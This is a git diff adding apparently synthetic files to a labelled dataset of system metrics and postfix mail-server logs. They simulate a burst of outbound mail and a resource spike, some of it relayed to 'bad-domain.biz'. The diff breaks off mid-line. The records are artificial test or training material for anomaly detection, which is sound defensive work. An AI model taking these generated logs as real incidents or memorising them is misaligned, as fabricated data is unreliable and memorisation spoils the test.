+2025-08-26T14:00:45Z,17.82,44.88,16.07,0.79,1.56 +2025-08-26T14:00:50Z,17.65,44.06,8.95,1.4,1.17 +2025-08-26T14:00:55Z,14.55,43.62,12.0,0.71,1.85 +2025-08-26T14:01:00Z,16.1,42.93,15.4,1.07,1.94 +2025-08-26T14:01:05Z,19.21,42.19,12.97,0.9,1.75 +2025-08-26T14:01:10Z,13.86,41.15,12.29,0.63,1.71 +2025-08-26T14:01:15Z,15.2,43.59,13.71,0.82,1.39 +2025-08-26T14:01:20Z,18.38,44.65,14.01,0.94,0.9 +2025-08-26T14:01:25Z,18.47,42.5,15.07,1.19,1.61 +2025-08-26T14:01:30Z,16.07,45.76,12.07,0.68,1.58 +2025-08-26T14:01:35Z,12.23,42.45,9.31,1.35,1.77 +2025-08-26T14:01:40Z,51.47,44.09,11.5,2.39,30.59 +2025-08-26T14:01:45Z,47.21,40.53,14.45,1.14,30.29 +2025-08-26T14:01:50Z,53.58,43.45,5.2,2.21,25.15 +2025-08-26T14:01:55Z,47.66,41.12,11.78,2.17,28.81 +2025-08-26T14:02:00Z,45.87,41.55,12.63,1.43,42.42 +2025-08-26T14:02:05Z,54.64,40.17,5.31,2.46,33.06 +2025-08-26T14:02:10Z,46.48,42.7,13.4,2.4,41.17 +2025-08-26T14:02:15Z,52.24,42.04,7.76,2.0,39.81 +2025-08-26T14:02:20Z,40.75,41.18,12.97,1.92,27.68 +2025-08-26T14:02:25Z,38.97,42.35,12.84,1.22,28.58 +2025-08-26T14:02:30Z,44.9,43.52,13.28,1.6,26.98 +2025-08-26T14:02:35Z,55.63,43.64,8.8,1.0,31.06 +2025-08-26T14:02:40Z,45.16,44.33,6.07,2.28,24.77 +2025-08-26T14:02:45Z,39.4,43.4,12.72,1.59,43.74 +2025-08-26T14:02:50Z,40.38,42.92,8.96,2.33,31.56 +2025-08-26T14:02:55Z,37.14,43.86,8.67,1.47,39.81 +2025-08-26T14:03:00Z,43.82,42.79,8.79,2.37,44.11 +2025-08-26T14:03:05Z,49.24,42.24,8.98,2.13,20.25 +2025-08-26T14:03:10Z,53.76,41.05,14.49,1.29,35.78 +2025-08-26T14:03:15Z,56.42,40.81,11.27,1.81,42.92 +2025-08-26T14:03:20Z,56.63,42.95,14.66,2.42,28.93 +2025-08-26T14:03:25Z,54.39,41.41,10.78,2.47,42.83 +2025-08-26T14:03:30Z,40.96,42.19,14.51,2.22,37.02 +2025-08-26T14:03:35Z,41.49,42.16,8.79,1.53,35.75 +2025-08-26T14:03:40Z,54.75,40.07,8.62,1.05,20.17 +2025-08-26T14:03:45Z,43.71,43.23,12.35,2.25,41.71 +2025-08-26T14:03:50Z,40.61,42.43,13.19,2.28,41.58 +2025-08-26T14:03:55Z,42.65,41.06,10.18,1.67,31.65 +2025-08-26T14:04:00Z,45.84,43.37,13.75,1.39,32.8 +2025-08-26T14:04:05Z,56.64,41.65,5.43,2.26,33.84 +2025-08-26T14:04:10Z,43.75,44.75,11.78,1.49,29.72 +2025-08-26T14:04:15Z,50.28,44.36,13.3,1.45,40.61 +2025-08-26T14:04:20Z,45.93,43.31,10.55,2.13,27.17 +2025-08-26T14:04:25Z,43.82,41.77,9.59,2.0,33.17 +2025-08-26T14:04:30Z,56.57,44.69,11.98,1.8,20.83 +2025-08-26T14:04:35Z,43.84,44.07,13.12,1.37,43.63 +2025-08-26T14:04:40Z,57.32,42.15,5.19,1.12,43.7 +2025-08-26T14:04:45Z,40.3,42.62,8.94,1.19,41.56 +2025-08-26T14:04:50Z,51.17,44.23,7.3,2.25,43.92 +2025-08-26T14:04:55Z,47.52,40.1,12.33,1.02,24.48 +2025-08-26T14:05:00Z,49.12,40.64,10.7,1.28,42.77 +2025-08-26T14:05:05Z,43.32,42.63,6.3,2.49,24.67 +2025-08-26T14:05:10Z,58.23,43.85,10.57,1.39,34.77 +2025-08-26T14:05:15Z,51.41,43.46,6.79,1.58,43.07 +2025-08-26T14:05:20Z,56.39,44.69,7.79,1.99,28.92 +2025-08-26T14:05:25Z,50.84,43.68,6.44,1.48,40.9 +2025-08-26T14:05:30Z,45.49,42.1,14.11,1.46,37.36 +2025-08-26T14:05:35Z,45.51,42.84,12.85,1.05,44.98 +2025-08-26T14:05:40Z,40.99,42.01,8.31,1.79,36.0 +2025-08-26T14:05:45Z,41.28,40.58,8.07,2.25,41.93 +2025-08-26T14:05:50Z,40.4,41.45,11.35,1.15,35.75 +2025-08-26T14:05:55Z,57.57,44.26,5.74,1.08,26.43 +2025-08-26T14:06:00Z,49.95,41.19,5.69,1.98,22.59 +2025-08-26T14:06:05Z,46.65,40.15,9.36,1.8,32.33 +2025-08-26T14:06:10Z,43.89,40.0,11.21,1.2,29.34 +2025-08-26T14:06:15Z,42.63,41.98,7.93,2.28,26.41 +2025-08-26T14:06:20Z,58.32,40.34,8.55,1.25,37.55 +2025-08-26T14:06:25Z,41.48,42.62,10.8,1.37,26.28 +2025-08-26T14:06:30Z,50.18,42.78,10.65,1.85,42.29 +2025-08-26T14:06:35Z,49.03,44.16,6.73,1.24,38.68 +2025-08-26T14:06:40Z,10.11,41.45,12.53,0.97,1.69 +2025-08-26T14:06:45Z,17.79,43.18,9.58,1.02,1.49 +2025-08-26T14:06:50Z,14.05,41.62,15.9,1.05,0.95 +2025-08-26T14:06:55Z,17.93,41.63,12.74,1.1,1.68 +2025-08-26T14:07:00Z,19.9,41.79,10.04,1.34,1.66 +2025-08-26T14:07:05Z,11.22,43.37,13.2,0.95,1.5 +2025-08-26T14:07:10Z,16.7,43.85,17.31,1.27,1.82 +2025-08-26T14:07:15Z,18.8,43.2,13.95,1.2,1.44 +2025-08-26T14:07:20Z,19.2,44.86,17.46,1.07,0.85 +2025-08-26T14:07:25Z,11.45,42.05,8.93,1.14,1.96 diff --git a/mali_dataset/scenario_5/mali_5_10.log b/mali_dataset/scenario_5/mali_5_10.log new file mode 100644 index 0000000000000000000000000000000000000000..0721f632356c545ea70981108fffa7ed2d5c61ca --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_10.log @@ -0,0 +1,323 @@ +Aug 26 14:00:00 mail-server systemd[1]: Starting daily clean up activities... +Aug 26 14:01:15 mail-server CRON[3453]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:01:41 mail-server postfix/smtp[15235]: 3E5D0DC: to=, relay=example.com[226.13.159.157]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 10087) +Aug 26 14:01:43 mail-server postfix/smtp[15235]: 3F04E25: to=, relay=mailservice.net[41.3.220.180]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4BCD) +Aug 26 14:01:43 mail-server postfix/smtp[15234]: 2380969: to=, relay=bad-domain.biz[12.129.88.224]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B56D) +Aug 26 14:01:43 mail-server postfix/smtp[15234]: ECB559: to=, relay=mailservice.net[155.37.155.55]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BA11) +Aug 26 14:01:43 mail-server postfix/smtp[15235]: 2557614: to=, relay=mailservice.net[246.239.126.116]:587, dsn=5.1.1, status=bounced (host mailservice.net said: 550 5.1.1 User unknown) +Aug 26 14:01:44 mail-server postfix/smtp[15235]: 13EC6C2: to=, relay=example.com[209.154.21.124]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 12A76) +Aug 26 14:01:44 mail-server postfix/smtp[15234]: EA4ADC: to=, relay=web-host.org[215.115.214.138]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 11407) +Aug 26 14:01:45 mail-server postfix/smtp[15234]: 2746EED: to=, relay=email-provider.co[254.49.162.94]:587, dsn=5.1.1, status=bounced (host email-provider.co said: 550 5.1.1 User unknown) +Aug 26 14:01:46 mail-server postfix/smtp[15234]: 2FC4FD4: to=, relay=email-provider.co[169.237.26.26]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7A4B) +Aug 26 14:01:48 mail-server postfix/smtp[15234]: 5B5D475: to=, relay=web-host.org[88.153.226.169]:587, dsn=5.1.1, status=bounced (host web-host.org said: 550 5.1.1 User unknown) +Aug 26 14:01:48 mail-server postfix/smtp[15235]: 4458FA3: to=, relay=example.com[124.17.201.186]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:01:48 mail-server postfix/smtp[15235]: 30B2CD7: to=, relay=example.com[171.224.14.103]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FFA0) +Aug 26 14:01:49 mail-server postfix/smtp[15235]: 1C14B84: to=, relay=bad-domain.biz[202.8.10.123]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 632E) +Aug 26 14:01:51 mail-server postfix/smtp[15235]: 544894D: to=, relay=web-host.org[236.181.63.195]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A4C5) +Aug 26 14:01:52 mail-server postfix/smtp[15235]: 5AA2DBD: to=, relay=mailservice.net[190.185.68.177]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 51AE) +Aug 26 14:01:52 mail-server postfix/smtp[15234]: 310E7F9: to=, relay=email-provider.co[11.253.196.218]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8365) +Aug 26 14:01:52 mail-server postfix/smtp[15234]: 5A9C847: to=, relay=bad-domain.biz[111.226.117.164]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 62BB) +Aug 26 14:01:54 mail-server postfix/smtp[15234]: 3B839A4: to=, relay=bad-domain.biz[253.254.53.40]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 908D) +Aug 26 14:01:55 mail-server postfix/smtp[15235]: 3C0883F: to=, relay=bad-domain.biz[10.4.13.47]:587, dsn=5.1.1, status=bounced (host bad-domain.biz said: 550 5.1.1 User unknown) +Aug 26 14:01:56 mail-server postfix/smtp[15234]: 557E4FF: to=, relay=mailservice.net[85.95.31.83]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 14683) +Aug 26 14:01:57 mail-server postfix/smtp[15235]: 2068311: to=, relay=web-host.org[45.249.9.49]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 126A3) +Aug 26 14:01:58 mail-server postfix/smtp[15234]: 20A6A9C: to=, relay=example.com[181.214.61.133]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D715) +Aug 26 14:01:59 mail-server postfix/smtp[15235]: 4EF62CB: to=, relay=web-host.org[172.138.159.113]:587, dsn=5.1.1, status=bounced (host web-host.org said: 550 5.1.1 User unknown) +Aug 26 14:01:59 mail-server postfix/smtp[15235]: 5614324: to=, relay=example.com[161.246.4.242]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6ABC) +Aug 26 14:02:00 mail-server postfix/smtp[15234]: 32FA1A3: to=, relay=mailservice.net[20.42.132.245]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 39C2) +Aug 26 14:02:01 mail-server postfix/smtp[15234]: 3C5FD8D: to=, relay=example.com[144.24.89.112]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 434B) +Aug 26 14:02:01 mail-server postfix/smtp[15234]: 3251E00: to=, relay=mailservice.net[109.5.225.71]:587, dsn=5.1.1, status=bounced (host mailservice.net said: 550 5.1.1 User unknown) +Aug 26 14:02:03 mail-server postfix/smtp[15234]: 13C3F2F: to=, relay=web-host.org[184.249.49.85]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DEED) +Aug 26 14:02:06 mail-server postfix/smtp[15234]: 159A22A: to=, relay=web-host.org[140.128.161.158]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1333B) +Aug 26 14:02:06 mail-server postfix/smtp[15235]: 4996F78: to=, relay=bad-domain.biz[230.138.189.216]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C8EA) +Aug 26 14:02:06 mail-server postfix/smtp[15235]: 3B756E3: to=, relay=mailservice.net[170.198.183.119]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 42A5) +Aug 26 14:02:07 mail-server postfix/smtp[15235]: 1AEB186: to=, relay=email-provider.co[60.194.210.254]:587, dsn=5.1.1, status=bounced (host email-provider.co said: 550 5.1.1 User unknown) +Aug 26 14:02:07 mail-server postfix/smtp[15234]: 52647B1: to=, relay=bad-domain.biz[169.175.193.252]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 15E02) +Aug 26 14:02:08 mail-server postfix/smtp[15234]: 5F199D6: to=, relay=web-host.org[55.100.103.95]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 130A8) +Aug 26 14:02:12 mail-server postfix/smtp[15234]: 490EEC7: to=, relay=email-provider.co[96.54.139.36]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 12426) +Aug 26 14:02:12 mail-server postfix/smtp[15235]: 1ECFB58: to=, relay=mailservice.net[214.145.172.61]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 17DF3) +Aug 26 14:02:12 mail-server postfix/smtp[15234]: 3F04E25: to=, relay=bad-domain.biz[122.62.81.204]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 10DCC) +Aug 26 14:02:12 mail-server postfix/smtp[15234]: 10FCEE9: to=, relay=web-host.org[54.197.70.131]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4C76) +Aug 26 14:02:14 mail-server postfix/smtp[15235]: 5492CDB: to=, relay=example.com[178.76.123.10]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:02:16 mail-server postfix/smtp[15235]: 47FB4B7: to=, relay=example.com[246.213.144.220]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C301) +Aug 26 14:02:17 mail-server postfix/smtp[15234]: 1FDEF00: to=, relay=bad-domain.biz[198.203.40.221]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 64D3) +Aug 26 14:02:17 mail-server postfix/smtp[15235]: 18EC526: to=, relay=bad-domain.biz[24.171.157.223]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 63DF) +Aug 26 14:02:18 mail-server postfix/smtp[15235]: 468D08E: to=, relay=example.com[245.204.202.228]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 145C3) +Aug 26 14:02:19 mail-server postfix/smtp[15234]: 348CE6D: to=, relay=email-provider.co[170.71.233.41]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E8DB) +Aug 26 14:02:20 mail-server postfix/smtp[15235]: 557E4FF: to=, relay=bad-domain.biz[9.27.18.38]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 495C) +Aug 26 14:02:20 mail-server postfix/smtp[15235]: 310E7F9: to=, relay=example.com[161.109.251.198]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 94F5) +Aug 26 14:02:21 mail-server postfix/smtp[15235]: 420FD8E: to=, relay=example.com[12.193.148.22]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 629C) +Aug 26 14:02:24 mail-server postfix/smtp[15235]: 1ABC89C: to=, relay=bad-domain.biz[69.74.26.128]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 158DB) +Aug 26 14:02:24 mail-server postfix/smtp[15235]: 47C3E61: to=, relay=email-provider.co[41.226.112.27]:587, dsn=5.1.1, status=bounced (host email-provider.co said: 550 5.1.1 User unknown) +Aug 26 14:02:25 mail-server postfix/smtp[15234]: 1A436AC: to=, relay=web-host.org[156.17.17.18]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 425D) +Aug 26 14:02:26 mail-server postfix/smtp[15235]: 3CE6ACF: to=, relay=email-provider.co[170.215.1.250]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 153B3) +Aug 26 14:02:28 mail-server postfix/smtp[15234]: 5280C82: to=, relay=bad-domain.biz[56.58.7.88]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BAFE) +Aug 26 14:02:29 mail-server postfix/smtp[15235]: 18625E0: to=, relay=example.com[251.111.154.21]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D744) +Aug 26 14:02:29 mail-server postfix/smtp[15234]: 5D677CA: to=, relay=email-provider.co[160.114.46.119]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F2BC) +Aug 26 14:02:29 mail-server postfix/smtp[15234]: 159A22A: to=, relay=web-host.org[185.204.3.151]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 61BD) +Aug 26 14:02:30 mail-server systemd[1]: Starting daily clean up activities... +Aug 26 14:02:30 mail-server postfix/smtp[15234]: 457E2D9: to=, relay=example.com[54.163.202.227]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 165D4) +Aug 26 14:02:30 mail-server postfix/smtp[15235]: 107DEC9: to=, relay=example.com[32.184.223.254]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 38AC) +Aug 26 14:02:30 mail-server postfix/smtp[15235]: 5756BB2: to=, relay=web-host.org[38.230.209.90]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BB7C) +Aug 26 14:02:31 mail-server postfix/smtp[15234]: 20A6A9C: to=, relay=bad-domain.biz[154.154.206.170]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 13EA2) +Aug 26 14:02:31 mail-server postfix/smtp[15234]: 4C15589: to=, relay=bad-domain.biz[13.182.50.174]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EED3) +Aug 26 14:02:34 mail-server postfix/smtp[15235]: 1722640: to=, relay=mailservice.net[218.226.157.29]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C6BC) +Aug 26 14:02:35 mail-server postfix/smtp[15235]: 1A755B7: to=, relay=email-provider.co[236.211.107.45]:587, dsn=5.1.1, status=bounced (host email-provider.co said: 550 5.1.1 User unknown) +Aug 26 14:02:38 mail-server postfix/smtp[15235]: 4EF62CB: to=, relay=example.com[41.170.187.158]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B101) +Aug 26 14:02:38 mail-server postfix/smtp[15234]: 4286A7B: to=, relay=web-host.org[65.190.151.83]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2F4A) +Aug 26 14:02:39 mail-server postfix/smtp[15234]: 45D309C: to=, relay=web-host.org[212.208.7.109]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D2D2) +Aug 26 14:02:40 mail-server postfix/smtp[15234]: 3F25EE2: to=, relay=email-provider.co[218.44.17.132]:587, dsn=5.1.1, status=bounced (host email-provider.co said: 550 5.1.1 User unknown) +Aug 26 14:02:42 mail-server postfix/smtp[15235]: 33DE0DE: to=, relay=mailservice.net[200.136.218.60]:587, dsn=5.1.1, status=bounced (host mailservice.net said: 550 5.1.1 User unknown) +Aug 26 14:02:43 mail-server postfix/smtp[15234]: 22C182A: to=, relay=bad-domain.biz[57.249.60.249]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 148CA) +Aug 26 14:02:44 mail-server postfix/smtp[15234]: 106DF7D: to=, relay=bad-domain.biz[39.65.201.154]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E11A) +Aug 26 14:02:45 mail-server postfix/smtp[15234]: 5B2C36C: to=, relay=email-provider.co[230.11.203.204]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 15B27) +Aug 26 14:02:45 mail-server postfix/smtp[15234]: DFBECC: to=, relay=web-host.org[89.103.48.250]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F7A7) +Aug 26 14:02:46 mail-server postfix/smtp[15234]: 13C3F2F: to=, relay=email-provider.co[101.109.200.53]:587, dsn=5.1.1, status=bounced (host email-provider.co said: 550 5.1.1 User unknown) +Aug 26 14:02:48 mail-server postfix/smtp[15234]: 3A0AE73: to=, relay=web-host.org[18.152.213.104]:587, dsn=5.1.1, status=bounced (host web-host.org said: 550 5.1.1 User unknown) +Aug 26 14:02:50 mail-server postfix/smtp[15235]: 3B756E3: to=, relay=mailservice.net[189.28.202.77]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8852) +Aug 26 14:02:51 mail-server postfix/smtp[15235]: 52B5AD4: to=, relay=email-provider.co[61.64.17.231]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B058) +Aug 26 14:02:52 mail-server postfix/smtp[15234]: 2557614: to=, relay=example.com[64.47.219.221]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F976) +Aug 26 14:02:53 mail-server postfix/smtp[15235]: 189268A: to=, relay=web-host.org[55.109.38.185]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CD64) +Aug 26 14:02:53 mail-server postfix/smtp[15235]: 35A85C7: to=, relay=example.com[59.49.253.166]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FE9D) +Aug 26 14:02:54 mail-server postfix/smtp[15235]: 5F199D6: to=, relay=example.com[68.115.206.148]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:02:55 mail-server postfix/smtp[15235]: 2FC4FD4: to=, relay=bad-domain.biz[137.236.190.92]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5381) +Aug 26 14:02:56 mail-server postfix/smtp[15235]: 27E727F: to=, relay=example.com[125.42.175.43]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8985) +Aug 26 14:02:56 mail-server postfix/smtp[15234]: 4A6FB54: to=, relay=example.com[116.250.26.239]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:02:57 mail-server postfix/smtp[15234]: 45D309C: to=, relay=bad-domain.biz[192.60.246.244]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FA7A) +Aug 26 14:02:57 mail-server postfix/smtp[15234]: 2A0898D: to=, relay=email-provider.co[157.34.250.155]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9A81) +Aug 26 14:02:58 mail-server postfix/smtp[15234]: 1ECFB58: to=, relay=email-provider.co[119.79.227.246]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 10009) +Aug 26 14:03:00 mail-server postfix/smtp[15234]: 2568BCD: to=, relay=example.com[14.6.231.69]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:03:00 mail-server postfix/smtp[15235]: 215DB52: to=, relay=mailservice.net[238.186.254.31]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A8E9) +Aug 26 14:03:01 mail-server postfix/smtp[15234]: 5D677CA: to=, relay=web-host.org[146.109.254.68]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 66C5) +Aug 26 14:03:01 mail-server postfix/smtp[15234]: 111C953: to=, relay=email-provider.co[202.4.178.156]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5E13) +Aug 26 14:03:03 mail-server postfix/smtp[15235]: 111C953: to=, relay=mailservice.net[49.93.174.16]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F474) +Aug 26 14:03:03 mail-server postfix/smtp[15235]: 2568BCD: to=, relay=bad-domain.biz[53.248.111.128]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DE74) +Aug 26 14:03:04 mail-server postfix/smtp[15235]: 462656D: to=, relay=mailservice.net[215.152.2.186]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 12C4C) +Aug 26 14:03:05 mail-server postfix/smtp[15235]: 52647B1: to=, relay=mailservice.net[213.80.48.26]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7EDC) +Aug 26 14:03:09 mail-server postfix/smtp[15235]: 3BDA6CB: to=, relay=example.com[39.6.35.157]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:03:09 mail-server postfix/smtp[15234]: 106DF7D: to=, relay=web-host.org[17.149.90.88]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3F87) +Aug 26 14:03:09 mail-server postfix/smtp[15234]: 27E38A3: to=, relay=web-host.org[32.14.149.12]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 13BEA) +Aug 26 14:03:10 mail-server postfix/smtp[15235]: 31DFE28: to=, relay=web-host.org[106.237.72.13]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5B28) +Aug 26 14:03:11 mail-server postfix/smtp[15235]: 5D677CA: to=, relay=email-provider.co[22.218.208.161]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 10E0D) +Aug 26 14:03:14 mail-server postfix/smtp[15234]: 4778496: to=, relay=mailservice.net[136.249.200.29]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9BEC) +Aug 26 14:03:14 mail-server postfix/smtp[15234]: 12F4D79: to=, relay=web-host.org[51.13.41.34]:587, dsn=5.1.1, status=bounced (host web-host.org said: 550 5.1.1 User unknown) +Aug 26 14:03:15 mail-server postfix/smtp[15234]: 4BEF4D1: to=, relay=example.com[175.253.121.76]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2714) +Aug 26 14:03:16 mail-server postfix/smtp[15235]: 2A0898D: to=, relay=mailservice.net[227.44.42.32]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D260) +Aug 26 14:03:17 mail-server postfix/smtp[15235]: 3460EEF: to=, relay=bad-domain.biz[158.60.71.148]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 148C7) +Aug 26 14:03:18 mail-server postfix/smtp[15234]: 45D309C: to=, relay=mailservice.net[119.148.126.209]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 163A4) +Aug 26 14:03:20 mail-server postfix/smtp[15234]: 5B2C36C: to=, relay=mailservice.net[183.87.199.69]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 14420) +Aug 26 14:03:20 mail-server postfix/smtp[15235]: 50C6846: to=, relay=mailservice.net[76.206.56.113]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 379C) +Aug 26 14:03:21 mail-server postfix/smtp[15234]: 1ABC89C: to=, relay=web-host.org[142.201.160.194]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 12E81) +Aug 26 14:03:22 mail-server postfix/smtp[15234]: 5A46198: to=, relay=bad-domain.biz[85.10.132.60]:587, dsn=5.1.1, status=bounced (host bad-domain.biz said: 550 5.1.1 User unknown) +Aug 26 14:03:25 mail-server postfix/smtp[15235]: 5A52E3E: to=, relay=email-provider.co[70.49.98.175]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5E9A) +Aug 26 14:03:27 mail-server postfix/smtp[15235]: 5A52E3E: to=, relay=example.com[13.198.3.169]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:03:29 mail-server postfix/smtp[15234]: 2D4ABB4: to=, relay=example.com[170.192.151.252]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 16214) +Aug 26 14:03:29 mail-server postfix/smtp[15235]: 3B839A4: to=, relay=example.com[129.64.14.166]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D656) +Aug 26 14:03:30 mail-server postfix/smtp[15234]: 462656D: to=, relay=web-host.org[58.190.48.46]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as AEEC) +Aug 26 14:03:31 mail-server postfix/smtp[15235]: 3B756E3: to=, relay=example.com[27.162.135.125]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6619) +Aug 26 14:03:31 mail-server postfix/smtp[15235]: 4FD4C6B: to=, relay=web-host.org[45.228.100.205]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C3D4) +Aug 26 14:03:32 mail-server postfix/smtp[15234]: 2562935: to=, relay=mailservice.net[150.238.61.83]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 174F3) +Aug 26 14:03:33 mail-server postfix/smtp[15235]: 490EEC7: to=, relay=web-host.org[71.10.148.90]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7DD1) +Aug 26 14:03:34 mail-server postfix/smtp[15234]: 1062F20: to=, relay=example.com[48.187.96.188]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2817) +Aug 26 14:03:35 mail-server postfix/smtp[15234]: 5AF7FC5: to=, relay=email-provider.co[11.176.180.169]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 16E8A) +Aug 26 14:03:36 mail-server postfix/smtp[15235]: B80E87: to=, relay=web-host.org[29.171.33.190]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 11F3E) +Aug 26 14:03:36 mail-server postfix/smtp[15235]: 1FDEF00: to=, relay=web-host.org[201.10.64.57]:587, dsn=5.1.1, status=bounced (host web-host.org said: 550 5.1.1 User unknown) +Aug 26 14:03:38 mail-server postfix/smtp[15234]: 3BDA6CB: to=, relay=bad-domain.biz[160.153.221.33]:587, dsn=5.1.1, status=bounced (host bad-domain.biz said: 550 5.1.1 User unknown) +Aug 26 14:03:40 mail-server postfix/smtp[15235]: E7EE70: to=, relay=bad-domain.biz[42.128.157.190]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 14D30) +Aug 26 14:03:41 mail-server postfix/smtp[15234]: 318CB41: to=, relay=example.com[239.200.247.53]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2CD5) +Aug 26 14:03:42 mail-server postfix/smtp[15234]: 114131C: to=, relay=example.com[210.61.120.5]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 65F4) +Aug 26 14:03:42 mail-server postfix/smtp[15235]: 4BEF4D1: to=, relay=bad-domain.biz[85.198.55.172]:25, dsn=2.0.0, 